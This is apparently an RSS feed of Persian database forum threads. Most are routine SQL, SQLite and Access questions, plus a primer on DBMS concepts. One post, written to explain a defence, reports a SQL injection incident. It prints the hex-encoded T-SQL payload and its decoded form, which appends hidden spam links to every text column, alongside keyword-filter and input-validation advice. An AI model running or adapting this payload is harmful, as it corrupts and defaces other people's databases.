<![CDATA[ايران ويج - انواع پایگاه داده ها]]> https://www.iranled.com/forum/ Wed, 21 Oct 2026 09:58:27 +0000 MyBB <![CDATA[مفاهیم پایه ای پایگاه داده]]> https://www.iranled.com/forum/thread-30600.html Mon, 02 May 2016 09:27:23 +0000 https://www.iranled.com/forum/thread-30600.html مفاهيم مبنايي : 
مفهوم پايگاه داده ها : پايگاه داده ها در ساده ترين وجه به مثابه مخزني ميماند که اطلاعات و داده ها به صورت منسجم و احتمالا ساخت يافته در آن نگهداري ميشود . اين مخزن ميتواند يک فايل متني يا باينري ساده باشد .
همزمان با پيدايش تکنولوژي ذخيره سازي اطلاعات و فايلها ، پايگاه داده ها نيز متولد شد و همزمان با رشد تکنولوژي ذخيره و بازيابي اطلاعات  و سيستم فايلينگ  ، پايگاه داده ها نيز به صورت موازي و با آن رشد کرد . پايگاه داده ها از زمان تولد تا کنون پنج نسل را سپري کرده است .
همزمان با گسترش نياز کاربران براي ذخيره سازي و بازيابي اطلاعات برنامه نويسان متعددي اقدام به ايجاد برنامه هايي  با اهداف و کاربردهاي متفاوت کردند . صرف نظر از برنامه هايي که از نظر کاربرد کاملا متفاوت بودند برنامه هايي نيز وجود داشتند که ماهيت و کاربرد يکساني داشتند ولي توسط برنامه نويسان متعدد ايجاد شده بودند . بهترين مثال براي اين مطلب دفـتـــرچـــه تلـفــن  ميباشد . چندين و چند نسخه متفاوت دفترچه تلفن موجود بود که همه آنها امکانات کاملا مشابهي داشتند ولي الگوريتمها و روشهاي برنامه نويسي آنها کاملا متفاوت بود . مهمترين وعمده ترين تفاوتهاي که بين اين برنامه ها وجود داشت در زير ذکر شده اند : 
  • • نوع و ماهيت فايلي که اطلاعات در آن ذخيره ميشد ( بعضيهااز نوع باينري و بعضي TXT و... بودند ) 
  • • الگوريتم و روش ذخيره سازي داده ها در فايل 
  • • نام توابع ( فرضا تابع مربوط به جستجو  در هر برنامه نامي  مطابق با سليقه برنامه نويس داشت ) 
تمام اين برنامه ها در واقع نوعي بانک اطلاعاتي هستند که براي اهداف خاص ايجاد شده اند . لذا به منابع داده در هر برنامه به جز در همان برنامه در جاي ديگري کاربرد نداشت و به هيچ درد ديگري نميخورد حتي برنامه هايي که مشابه بودند ( مانند دفترچه تلفن ) نيز ( بنا به دلايل ذکر شده ) نميتوانستند با هم تبادل اطلاعات داشته باشند و اگر ميخواستيم از فايل حاوي داده هاي يک دفترچه تلفن در دفترچه تلفن ديگري استفاده کنيم هيچ راهي وجود نداشت . در ضمن در تمام اين برنامه ها به جز فايل و برنامه نوشته شده توسط برنامه نويس هيچ چيز ديگري وجود نداشت که بتواند امنيت داده ها را تضمين کند . و به طور کلي داده ها را کنترل و مديريت کند . مشکل ديگري که اين برنامه ها داشتند اين بود که اين برنامه ها تنها قابليت اين را داشتند که يک کاربر از آنها استفاده کند و استفاده به صورت اشتراکي از منابع داده ها امکان پذير نبود . با گسترش روز افزون اطلاعات و نياز روز افزون کاربران براي ذخيره و بازيابي اطلاعات و دسترسي سريع به اطلاعات و لزوم تامين امنيت اطلاعات ،  لازم بود برنامه هاي تخصصي و ويژه اي براي اين منظور ايجاد شوند .  لذا چندين شرکت تصميم به طراحي و توليد چنين برنامه هايي را گرفتند که از شرکتهاي IBM  و  Microsoft  و چند شرکت ديگر به عنوان پيشگامان اين امر ميتوان نام برد .
 برنامه هاي مذکور پايگاه داده ها نام گرفتند . شرکتهاي مذکور بايد  برنامه هايي را ايجاد ميکردند که قابليت استفاده براي مصارف گوناگون را داشته باشد . در ضمن اين برنامه ها بايد داراي قسمتي باشند که به عنوان واسط بين برنامه کاربردي و فايلها (منابع داده ) قرار بگيرد و عملياتهاي مربوط به ايجاد ، حذف و تغيير و ... را  در منابع داده را کنترل و مديريت کند . اين برنامه واسط را DBMS  ناميدند . 
[تصویر: DBMS-database-management-system.png]
DBMS  اختصار (DATABASE  MANAGEMENT  SYSTEM )  ميباشد که معناي لغوي آن سيستم مديريت پايگاه داده يا سيستم مديريت داده ها ميباشد . 
بايد خدمتتون عرض کنم که بزرگترين جهشي که پايگاه داده ها در راستاي رشد و تکامل داشت مربوط به همين قسمت يعني توليد و تکامل  DBMS  ميباشد . گفتيم که وظيفه DBMS  اين است که بين برنامه کاربردي و منابع داده ها قرار بگيرد و کليه عملياتهاي مربوط به( ايجاد ، تغيير ، حذف و .... ) منابع داده ها را کنترل و مديريت کند . کنترل و مديريت منابع داده ها بسيار کلي و ميباشد و اگر بخواهيم منظور از کنترل و مديريت را کامل شرح دهيم بايد ساعتها وقت صرف کنيم و دهها  صفحه مطلب بنويسيم که قطعا در اين مجموعه نخواهد گنجيد ضمن آنکه اين مطالب کاربردي نيط نيستند و تنها جنبه اطلاعاتي دارند  لذا تنها چند نکته مهم را ذکر ميکنم و در صورتي که علاقمند بوديد بيشتر بدانيد ميتوانيد به کتابهاي موجود در اين زمينه مراجعه فرماييد .

منظور از کنترل و مديريت : 
  • • مصون کردن برنامه هاي کاربردي در قبال تغييرات در سخت افزار ذخيره سازي . 
  • • مديريت رکوردهاي سرريز که پس از لود اوليه بايد در فايل وارد شوند . 
  • • ايجاد فايل با ساختارهاي گوناگون 
  • • فراهم کردن امکاناتي براي دستيابي مستقيم و ترتيبي به رکوردها و فيلدها  
  • • جدا کردن ساختار فيزيکي و منطقي فايلها از يکديگر 
  • • تامين ايمني و حفاظت داده ها  
  • • جلوگيري از تکرار ذخيره سازي داده ها ( تاحدي ) 
  • • فراهم کردن امکاناتي براي پردازش بلادرنگ (real time ) بسته به نوع سيستم عامل 
  • • تامين صحت داده هاي ذخيره شده ( تاحدي ) 
  • • فراهم کردن امکاناتي براي بازيابي بکمک چند کليد 
  • • فراهم کردن امکاناتي براي استفاده چند کاربر به صورت همزمان از منبع داده و کنترل آن 
  • • کنترل و مديريت مسائل مربوط به همزماني و سطح دسترسي کاربران به منبع داده ها 
  • • و ..... 


.png   DBMS-database-management-system.png (اندازه: 19.99 KB / تعداد دفعات دریافت: 101) ]]> مفاهيم مبنايي : 
مفهوم پايگاه داده ها : پايگاه داده ها در ساده ترين وجه به مثابه مخزني ميماند که اطلاعات و داده ها به صورت منسجم و احتمالا ساخت يافته در آن نگهداري ميشود . اين مخزن ميتواند يک فايل متني يا باينري ساده باشد .
همزمان با پيدايش تکنولوژي ذخيره سازي اطلاعات و فايلها ، پايگاه داده ها نيز متولد شد و همزمان با رشد تکنولوژي ذخيره و بازيابي اطلاعات  و سيستم فايلينگ  ، پايگاه داده ها نيز به صورت موازي و با آن رشد کرد . پايگاه داده ها از زمان تولد تا کنون پنج نسل را سپري کرده است .
همزمان با گسترش نياز کاربران براي ذخيره سازي و بازيابي اطلاعات برنامه نويسان متعددي اقدام به ايجاد برنامه هايي  با اهداف و کاربردهاي متفاوت کردند . صرف نظر از برنامه هايي که از نظر کاربرد کاملا متفاوت بودند برنامه هايي نيز وجود داشتند که ماهيت و کاربرد يکساني داشتند ولي توسط برنامه نويسان متعدد ايجاد شده بودند . بهترين مثال براي اين مطلب دفـتـــرچـــه تلـفــن  ميباشد . چندين و چند نسخه متفاوت دفترچه تلفن موجود بود که همه آنها امکانات کاملا مشابهي داشتند ولي الگوريتمها و روشهاي برنامه نويسي آنها کاملا متفاوت بود . مهمترين وعمده ترين تفاوتهاي که بين اين برنامه ها وجود داشت در زير ذکر شده اند : 
  • • نوع و ماهيت فايلي که اطلاعات در آن ذخيره ميشد ( بعضيهااز نوع باينري و بعضي TXT و... بودند ) 
  • • الگوريتم و روش ذخيره سازي داده ها در فايل 
  • • نام توابع ( فرضا تابع مربوط به جستجو  در هر برنامه نامي  مطابق با سليقه برنامه نويس داشت ) 
تمام اين برنامه ها در واقع نوعي بانک اطلاعاتي هستند که براي اهداف خاص ايجاد شده اند . لذا به منابع داده در هر برنامه به جز در همان برنامه در جاي ديگري کاربرد نداشت و به هيچ درد ديگري نميخورد حتي برنامه هايي که مشابه بودند ( مانند دفترچه تلفن ) نيز ( بنا به دلايل ذکر شده ) نميتوانستند با هم تبادل اطلاعات داشته باشند و اگر ميخواستيم از فايل حاوي داده هاي يک دفترچه تلفن در دفترچه تلفن ديگري استفاده کنيم هيچ راهي وجود نداشت . در ضمن در تمام اين برنامه ها به جز فايل و برنامه نوشته شده توسط برنامه نويس هيچ چيز ديگري وجود نداشت که بتواند امنيت داده ها را تضمين کند . و به طور کلي داده ها را کنترل و مديريت کند . مشکل ديگري که اين برنامه ها داشتند اين بود که اين برنامه ها تنها قابليت اين را داشتند که يک کاربر از آنها استفاده کند و استفاده به صورت اشتراکي از منابع داده ها امکان پذير نبود . با گسترش روز افزون اطلاعات و نياز روز افزون کاربران براي ذخيره و بازيابي اطلاعات و دسترسي سريع به اطلاعات و لزوم تامين امنيت اطلاعات ،  لازم بود برنامه هاي تخصصي و ويژه اي براي اين منظور ايجاد شوند .  لذا چندين شرکت تصميم به طراحي و توليد چنين برنامه هايي را گرفتند که از شرکتهاي IBM  و  Microsoft  و چند شرکت ديگر به عنوان پيشگامان اين امر ميتوان نام برد .
 برنامه هاي مذکور پايگاه داده ها نام گرفتند . شرکتهاي مذکور بايد  برنامه هايي را ايجاد ميکردند که قابليت استفاده براي مصارف گوناگون را داشته باشد . در ضمن اين برنامه ها بايد داراي قسمتي باشند که به عنوان واسط بين برنامه کاربردي و فايلها (منابع داده ) قرار بگيرد و عملياتهاي مربوط به ايجاد ، حذف و تغيير و ... را  در منابع داده را کنترل و مديريت کند . اين برنامه واسط را DBMS  ناميدند . 
[تصویر: DBMS-database-management-system.png]
DBMS  اختصار (DATABASE  MANAGEMENT  SYSTEM )  ميباشد که معناي لغوي آن سيستم مديريت پايگاه داده يا سيستم مديريت داده ها ميباشد . 
بايد خدمتتون عرض کنم که بزرگترين جهشي که پايگاه داده ها در راستاي رشد و تکامل داشت مربوط به همين قسمت يعني توليد و تکامل  DBMS  ميباشد . گفتيم که وظيفه DBMS  اين است که بين برنامه کاربردي و منابع داده ها قرار بگيرد و کليه عملياتهاي مربوط به( ايجاد ، تغيير ، حذف و .... ) منابع داده ها را کنترل و مديريت کند . کنترل و مديريت منابع داده ها بسيار کلي و ميباشد و اگر بخواهيم منظور از کنترل و مديريت را کامل شرح دهيم بايد ساعتها وقت صرف کنيم و دهها  صفحه مطلب بنويسيم که قطعا در اين مجموعه نخواهد گنجيد ضمن آنکه اين مطالب کاربردي نيط نيستند و تنها جنبه اطلاعاتي دارند  لذا تنها چند نکته مهم را ذکر ميکنم و در صورتي که علاقمند بوديد بيشتر بدانيد ميتوانيد به کتابهاي موجود در اين زمينه مراجعه فرماييد .

منظور از کنترل و مديريت : 
  • • مصون کردن برنامه هاي کاربردي در قبال تغييرات در سخت افزار ذخيره سازي . 
  • • مديريت رکوردهاي سرريز که پس از لود اوليه بايد در فايل وارد شوند . 
  • • ايجاد فايل با ساختارهاي گوناگون 
  • • فراهم کردن امکاناتي براي دستيابي مستقيم و ترتيبي به رکوردها و فيلدها  
  • • جدا کردن ساختار فيزيکي و منطقي فايلها از يکديگر 
  • • تامين ايمني و حفاظت داده ها  
  • • جلوگيري از تکرار ذخيره سازي داده ها ( تاحدي ) 
  • • فراهم کردن امکاناتي براي پردازش بلادرنگ (real time ) بسته به نوع سيستم عامل 
  • • تامين صحت داده هاي ذخيره شده ( تاحدي ) 
  • • فراهم کردن امکاناتي براي بازيابي بکمک چند کليد 
  • • فراهم کردن امکاناتي براي استفاده چند کاربر به صورت همزمان از منبع داده و کنترل آن 
  • • کنترل و مديريت مسائل مربوط به همزماني و سطح دسترسي کاربران به منبع داده ها 
  • • و ..... 


.png   DBMS-database-management-system.png (اندازه: 19.99 KB / تعداد دفعات دریافت: 101) ]]> <![CDATA[Sql Server 2014]]> https://www.iranled.com/forum/thread-30589.html Thu, 28 Apr 2016 06:30:02 +0000 https://www.iranled.com/forum/thread-30589.html چجوری میشه این سرور یا دیتا بیسی که داریم رو بریزیم روی هاست یا اینترنت منظورم اینه که از Local DB به global DB تغییرش بدم
تا همه بتونن بهش وصل بشن 017 017 044 044 044]]> چجوری میشه این سرور یا دیتا بیسی که داریم رو بریزیم روی هاست یا اینترنت منظورم اینه که از Local DB به global DB تغییرش بدم
تا همه بتونن بهش وصل بشن 017 017 044 044 044]]> <![CDATA[SQLite]]> https://www.iranled.com/forum/thread-30184.html Wed, 22 Jul 2015 07:15:19 +0000 https://www.iranled.com/forum/thread-30184.html چطور میتونم روی دیتابیس SQLite پسورد قرار بدم؟]]> چطور میتونم روی دیتابیس SQLite پسورد قرار بدم؟]]> <![CDATA[جدول پرببینده ها]]> https://www.iranled.com/forum/thread-29966.html Sat, 09 May 2015 13:58:08 +0000 https://www.iranled.com/forum/thread-29966.html <![CDATA[ماژول L70]]> https://www.iranled.com/forum/thread-29899.html Mon, 20 Apr 2015 15:51:56 +0000 https://www.iranled.com/forum/thread-29899.html <![CDATA[تجربه جلوگیری از SQL Injection]]> https://www.iranled.com/forum/thread-29503.html Sun, 11 Jan 2015 18:44:04 +0000 https://www.iranled.com/forum/thread-29503.html
چند روز پیش با یکی از دوستام در مورد جلوگیری از تغییرات ناگهانی توی دیتابیسش (اس کیو ال سرور) حرف میزدم که خلاصش این هست :

تغییرات به اینشکل بودن که به بعضی از فیلد ها یک متن ثابت اضافه میشد و این اتفاق به صورت نامنظم تکرار میشد .

بنا به محدودیت های هاستینگ(نرم افزارش تحت وب بود) امکان ایجاد یوزر فقط خواندنی وجود نداشت .

مشکل نرم افزار اینجا بود که همه دستورات به صورت متن (HardString)به سرور ارسال میشد و از استورد پروسیجر هم استفاده نکرده بود .

با این همه که تمام دستورات قبل از اجرا از لحاظ وجود کلمات خاص بررسی میشد بازهم تغییرات اتفاق افتاده بودن .

یک کدی نوشتم که در لایه دیتابیس نرم افزار تمام دستورات قبل از ارسال به سرور ،لاگ بشن و چیزی که دیدم برام جالب بود .
کدی که قرار بود اجرا بشه این بود :
کد:
update tbl_news set tb_numofvisit="1" where tb_id_news=611

ولی ادامش یه چیز دیگه هم بود این :

کد:
update tbl_news set tb_numofvisit="1" where tb_id_news=611 declare @s varchar(8000) set @s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e6163746e7b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834373870782c6175746f2c6175746f2c3339357078293b7d3c2f7374796c653e3c64697620636c6173733d6163746e3e4974207365656d73207468617420686173203c6120687265663d687474703a2f2f7061796461796c6f616e73666f726c697665792e636f6d203e717569636b206c6f616e733c2f613e20706f73736962696c6974696573206f6620636f6e647563742e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 as varchar(8000)) exec(@s)
که وقتی تبدیل میشه به متن میشه این :
کد:
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>80 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=CONVERT(VARCHAR(8000),['+@C+'])+''</title><style>.actn{position:absolute;clip:rect(478px,auto,auto,395px);}</style><div class=actn>It seems that has <a href=h*t*t*p*:*/*/*p*a*y*d*a*y*l*o*a*n*s*f*o*r*l*i*v*e*y*.*c*o*m* >quick loans</a> possibilities of conduct.</div>'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
نکته : * هارو خودم اضافه کردم
کل دستور رو بصورت کد هگز ارسال میکنه و با یه تبدیل ساده اجراش میکنه .
چون سیستم نسبتا بزرگ هست و امکان تغییر کلی نبود پیشنهاد من بهش تغییر لیست کلمات کلیدی نا امن بود - یعنی قبل از اجرای دستور(در لایه دیتابیس) وجود کلمه exec و declare هم بررسی بشه تا فعلا نفوذی انجام نشه تا سر فرصت تغییرات نرم افزار رو بتونه انجام بده .

پیشنهاد هایی که من داشتم :
بهتره تا حد امکان از اجرای مستقیم رشته متنی استفاده نکنیم .
از تکنولوژی های جدید استفاده کنیم مثل لینک LINQ
در مواقعی که کاربر قراره یه مقداری به برنامه ارسال کنه محدودیت های زیادی روش اعمال کنیم مثلا اگه قراره آی دی یه مطلب ارسال بشه باید اون متغییر به عدد تبدیل بشه یا وقتی قراره کد ملی ارسال بشه باید حداکثر 10 کاراکتر اول رو انتخاب کنیم نه کل محتوی رو .


دوستانی هم که در این زمینه تجربه یا تخصص دارن بحث رو تکمیل کنن.]]>
چند روز پیش با یکی از دوستام در مورد جلوگیری از تغییرات ناگهانی توی دیتابیسش (اس کیو ال سرور) حرف میزدم که خلاصش این هست :

تغییرات به اینشکل بودن که به بعضی از فیلد ها یک متن ثابت اضافه میشد و این اتفاق به صورت نامنظم تکرار میشد .

بنا به محدودیت های هاستینگ(نرم افزارش تحت وب بود) امکان ایجاد یوزر فقط خواندنی وجود نداشت .

مشکل نرم افزار اینجا بود که همه دستورات به صورت متن (HardString)به سرور ارسال میشد و از استورد پروسیجر هم استفاده نکرده بود .

با این همه که تمام دستورات قبل از اجرا از لحاظ وجود کلمات خاص بررسی میشد بازهم تغییرات اتفاق افتاده بودن .

یک کدی نوشتم که در لایه دیتابیس نرم افزار تمام دستورات قبل از ارسال به سرور ،لاگ بشن و چیزی که دیدم برام جالب بود .
کدی که قرار بود اجرا بشه این بود :
کد:
update tbl_news set tb_numofvisit="1" where tb_id_news=611

ولی ادامش یه چیز دیگه هم بود این :

کد:
update tbl_news set tb_numofvisit="1" where tb_id_news=611 declare @s varchar(8000) set @s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e6163746e7b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834373870782c6175746f2c6175746f2c3339357078293b7d3c2f7374796c653e3c64697620636c6173733d6163746e3e4974207365656d73207468617420686173203c6120687265663d687474703a2f2f7061796461796c6f616e73666f726c697665792e636f6d203e717569636b206c6f616e733c2f613e20706f73736962696c6974696573206f6620636f6e647563742e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 as varchar(8000)) exec(@s)
که وقتی تبدیل میشه به متن میشه این :
کد:
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>80 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=CONVERT(VARCHAR(8000),['+@C+'])+''</title><style>.actn{position:absolute;clip:rect(478px,auto,auto,395px);}</style><div class=actn>It seems that has <a href=h*t*t*p*:*/*/*p*a*y*d*a*y*l*o*a*n*s*f*o*r*l*i*v*e*y*.*c*o*m* >quick loans</a> possibilities of conduct.</div>'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
نکته : * هارو خودم اضافه کردم
کل دستور رو بصورت کد هگز ارسال میکنه و با یه تبدیل ساده اجراش میکنه .
چون سیستم نسبتا بزرگ هست و امکان تغییر کلی نبود پیشنهاد من بهش تغییر لیست کلمات کلیدی نا امن بود - یعنی قبل از اجرای دستور(در لایه دیتابیس) وجود کلمه exec و declare هم بررسی بشه تا فعلا نفوذی انجام نشه تا سر فرصت تغییرات نرم افزار رو بتونه انجام بده .

پیشنهاد هایی که من داشتم :
بهتره تا حد امکان از اجرای مستقیم رشته متنی استفاده نکنیم .
از تکنولوژی های جدید استفاده کنیم مثل لینک LINQ
در مواقعی که کاربر قراره یه مقداری به برنامه ارسال کنه محدودیت های زیادی روش اعمال کنیم مثلا اگه قراره آی دی یه مطلب ارسال بشه باید اون متغییر به عدد تبدیل بشه یا وقتی قراره کد ملی ارسال بشه باید حداکثر 10 کاراکتر اول رو انتخاب کنیم نه کل محتوی رو .


دوستانی هم که در این زمینه تجربه یا تخصص دارن بحث رو تکمیل کنن.]]> <![CDATA[سوال در مورد برنامه اکسس]]> https://www.iranled.com/forum/thread-29373.html Wed, 17 Dec 2014 02:13:26 +0000 https://www.iranled.com/forum/thread-29373.html 1. روش اضافه کردن عکس پرسنلی از طریق add یا berrows
2. روش ساخت تب های پرینت ، ذخیره ، بازگشت و بعدی در پروژه
3. ایجادمحدودیت برای ورود اطلاعات number بااین تنظیمات که اعداد ورودی 2 رقمی وارد شوند نه بیشتر نه کمتر.
4. برای وارد کردن تاریخ تولد 1355/02/02 بهترین راه که اطلاعات به خوبی ثبت شوند وکاربر دچارمشکل نشود را پیشنهاد نمایید
درودوسپاس abfsports2@gmail.com]]> 1. روش اضافه کردن عکس پرسنلی از طریق add یا berrows
2. روش ساخت تب های پرینت ، ذخیره ، بازگشت و بعدی در پروژه
3. ایجادمحدودیت برای ورود اطلاعات number بااین تنظیمات که اعداد ورودی 2 رقمی وارد شوند نه بیشتر نه کمتر.
4. برای وارد کردن تاریخ تولد 1355/02/02 بهترین راه که اطلاعات به خوبی ثبت شوند وکاربر دچارمشکل نشود را پیشنهاد نمایید
درودوسپاس abfsports2@gmail.com]]> <![CDATA[برنامه های محاسبات عددی به زبان فرترن]]> https://www.iranled.com/forum/thread-29195.html Thu, 13 Nov 2014 13:58:45 +0000 https://www.iranled.com/forum/thread-29195.html دوستان کسی هست که برنامه محاسبات عددی به زبان فرترن داشته باشه .
برنامه نیوتن و اگرانز و سیمپسون و ... رو میخوام
ایمیلم mostafakhorsandi.kntu@yahoo.com
ممنون میشم اگه دارید برام میل کنین]]> دوستان کسی هست که برنامه محاسبات عددی به زبان فرترن داشته باشه .
برنامه نیوتن و اگرانز و سیمپسون و ... رو میخوام
ایمیلم mostafakhorsandi.kntu@yahoo.com
ممنون میشم اگه دارید برام میل کنین]]> <![CDATA[درخواست مقاله پایگاه داده]]> https://www.iranled.com/forum/thread-29085.html Fri, 24 Oct 2014 20:57:34 +0000 https://www.iranled.com/forum/thread-29085.html من برای پایگاه داده پیشرفته موضوع مقاله در رابطه با بهینه سازی پرس و جو در پایگاه داده یا query optimization in DBMS رو انتخاب کردم چون فکر میکردم خیلی پیچیده نیست و الان دنبال مقاله معتبر در این زمینه هستم ولی نتونستم چیزی پیدا کنم
ممنون میشم به من منابع معتبری معرفی کنی که 3 مقاله در این زمینه داشته باشه البته به زبان انگلیسی و از سایت معتبر و از 2010 به بعد
اگه این موضوع مناسب نیست ممنون میشم چند موضوع مناسب که سخت و پیچیده نباشه معرفی کنید]]> من برای پایگاه داده پیشرفته موضوع مقاله در رابطه با بهینه سازی پرس و جو در پایگاه داده یا query optimization in DBMS رو انتخاب کردم چون فکر میکردم خیلی پیچیده نیست و الان دنبال مقاله معتبر در این زمینه هستم ولی نتونستم چیزی پیدا کنم
ممنون میشم به من منابع معتبری معرفی کنی که 3 مقاله در این زمینه داشته باشه البته به زبان انگلیسی و از سایت معتبر و از 2010 به بعد
اگه این موضوع مناسب نیست ممنون میشم چند موضوع مناسب که سخت و پیچیده نباشه معرفی کنید]]> <![CDATA[دستور select ایجاد ستون شمارش]]> https://www.iranled.com/forum/thread-28496.html Fri, 04 Jul 2014 15:15:42 +0000 https://www.iranled.com/forum/thread-28496.html بطور مثال یه جدول دارم شامل فیلد نام و فیلد نام خانوادگی
در زمان select میخوام جز این دوتا ستون یه ستون دگه هم ایجاد بشه بنام شمارش

چطور میشه اینکار کرد؟]]> بطور مثال یه جدول دارم شامل فیلد نام و فیلد نام خانوادگی
در زمان select میخوام جز این دوتا ستون یه ستون دگه هم ایجاد بشه بنام شمارش

چطور میشه اینکار کرد؟]]> <![CDATA[دستور select]]> https://www.iranled.com/forum/thread-28494.html Fri, 04 Jul 2014 13:07:50 +0000 https://www.iranled.com/forum/thread-28494.html همانطور میدونید در پایگاه داده حرف فارس جابجا میشن برای همین من برای ذخیره شماره پلاک در چهار فیلد جدا ذخیره میکنم


حالا میخوام بدونم دستور select کاری میشه کرد که فیلد های fild1&fild2&fild3&fild4
کنار هم قرار بده در select نمایش دهد؟
این روش میدونم
کد php:
select street+...+plate from table1 

ولی میخوام ستون هایی که باهم ادغام میکنم برای ستون جدید یه نام انتخاب کنم چطور اینکارو باید کرد؟
حل شد Biggrin

کد php:
SELECT Name + Family AS Media FROM Student 
]]> همانطور میدونید در پایگاه داده حرف فارس جابجا میشن برای همین من برای ذخیره شماره پلاک در چهار فیلد جدا ذخیره میکنم


حالا میخوام بدونم دستور select کاری میشه کرد که فیلد های fild1&fild2&fild3&fild4
کنار هم قرار بده در select نمایش دهد؟
این روش میدونم
کد php:
select street+...+plate from table1 

ولی میخوام ستون هایی که باهم ادغام میکنم برای ستون جدید یه نام انتخاب کنم چطور اینکارو باید کرد؟
حل شد Biggrin

کد php:
SELECT Name + Family AS Media FROM Student 
]]> <![CDATA[مشکل با پرستاشاپ]]> https://www.iranled.com/forum/thread-28489.html Wed, 02 Jul 2014 19:00:20 +0000 https://www.iranled.com/forum/thread-28489.html من پرستا شاپ رو روی هاستم نصب کردم و حالا با تصاویر اصلیش مشکل دارم ونمیدونم از کجا پاک میشن . کسی تجربه ای تو این زمینه داره ؟]]> من پرستا شاپ رو روی هاستم نصب کردم و حالا با تصاویر اصلیش مشکل دارم ونمیدونم از کجا پاک میشن . کسی تجربه ای تو این زمینه داره ؟]]> <![CDATA[انتقال اطلاعات از فاکس پروه به sql server]]> https://www.iranled.com/forum/thread-28216.html Fri, 09 May 2014 17:20:25 +0000 https://www.iranled.com/forum/thread-28216.html چطوری میتونیم اطلاعات یه دیتابیس که با فاکسپرو ساخته شده را به اسکیو ال تبدیل کنیم؟؟


ممنون میشم راهنمایی کنید]]> چطوری میتونیم اطلاعات یه دیتابیس که با فاکسپرو ساخته شده را به اسکیو ال تبدیل کنیم؟؟


ممنون میشم راهنمایی کنید]]> <![CDATA[سوال : چگونگی محافظت از بانک اطلاعاتی sqlite]]> https://www.iranled.com/forum/thread-28042.html Mon, 07 Apr 2014 13:13:23 +0000 https://www.iranled.com/forum/thread-28042.html
چطور میشه از یک بانک اطلاعتی sqlite محافظت کرد

1- پسورد بگیره
2- ایکرپبت به شه
3- داخل برنامه استفاده کرد(سیستم اندروید می باشد)

______________________________

و یک سوال دیگه میشه از زیپ همراه با پسورد استفاده کرد؟ یعنی دیتاپیس رو zip همراه با پسورد کنیم و بعد اون رو فراخونی کنم؟؟]]>
چطور میشه از یک بانک اطلاعتی sqlite محافظت کرد

1- پسورد بگیره
2- ایکرپبت به شه
3- داخل برنامه استفاده کرد(سیستم اندروید می باشد)

______________________________

و یک سوال دیگه میشه از زیپ همراه با پسورد استفاده کرد؟ یعنی دیتاپیس رو zip همراه با پسورد کنیم و بعد اون رو فراخونی کنم؟؟]]> <![CDATA[دستور select]]> https://www.iranled.com/forum/thread-27520.html Sun, 22 Dec 2013 17:12:19 +0000 https://www.iranled.com/forum/thread-27520.html
کد php:
tbl_otagh.somareh_otagh
 tbl_otagh.keyfiyat
 tbl_otagh.chand_khabe
 tbl_otagh.gheymat 

و یه جدول هم با نام tbl_rezerve_otagh و با فیلد های زیر
کد php:
tbl_rezerve_otagh.shomareh_shenasname
tbl_rezerve_otagh.somareh_otagh 
tbl_rezerve_otagh.tarikh_vorod
tbl_rezerve_otagh.tarikh_khoroj
 tbl_rezerve_otagh.zaman_vorood
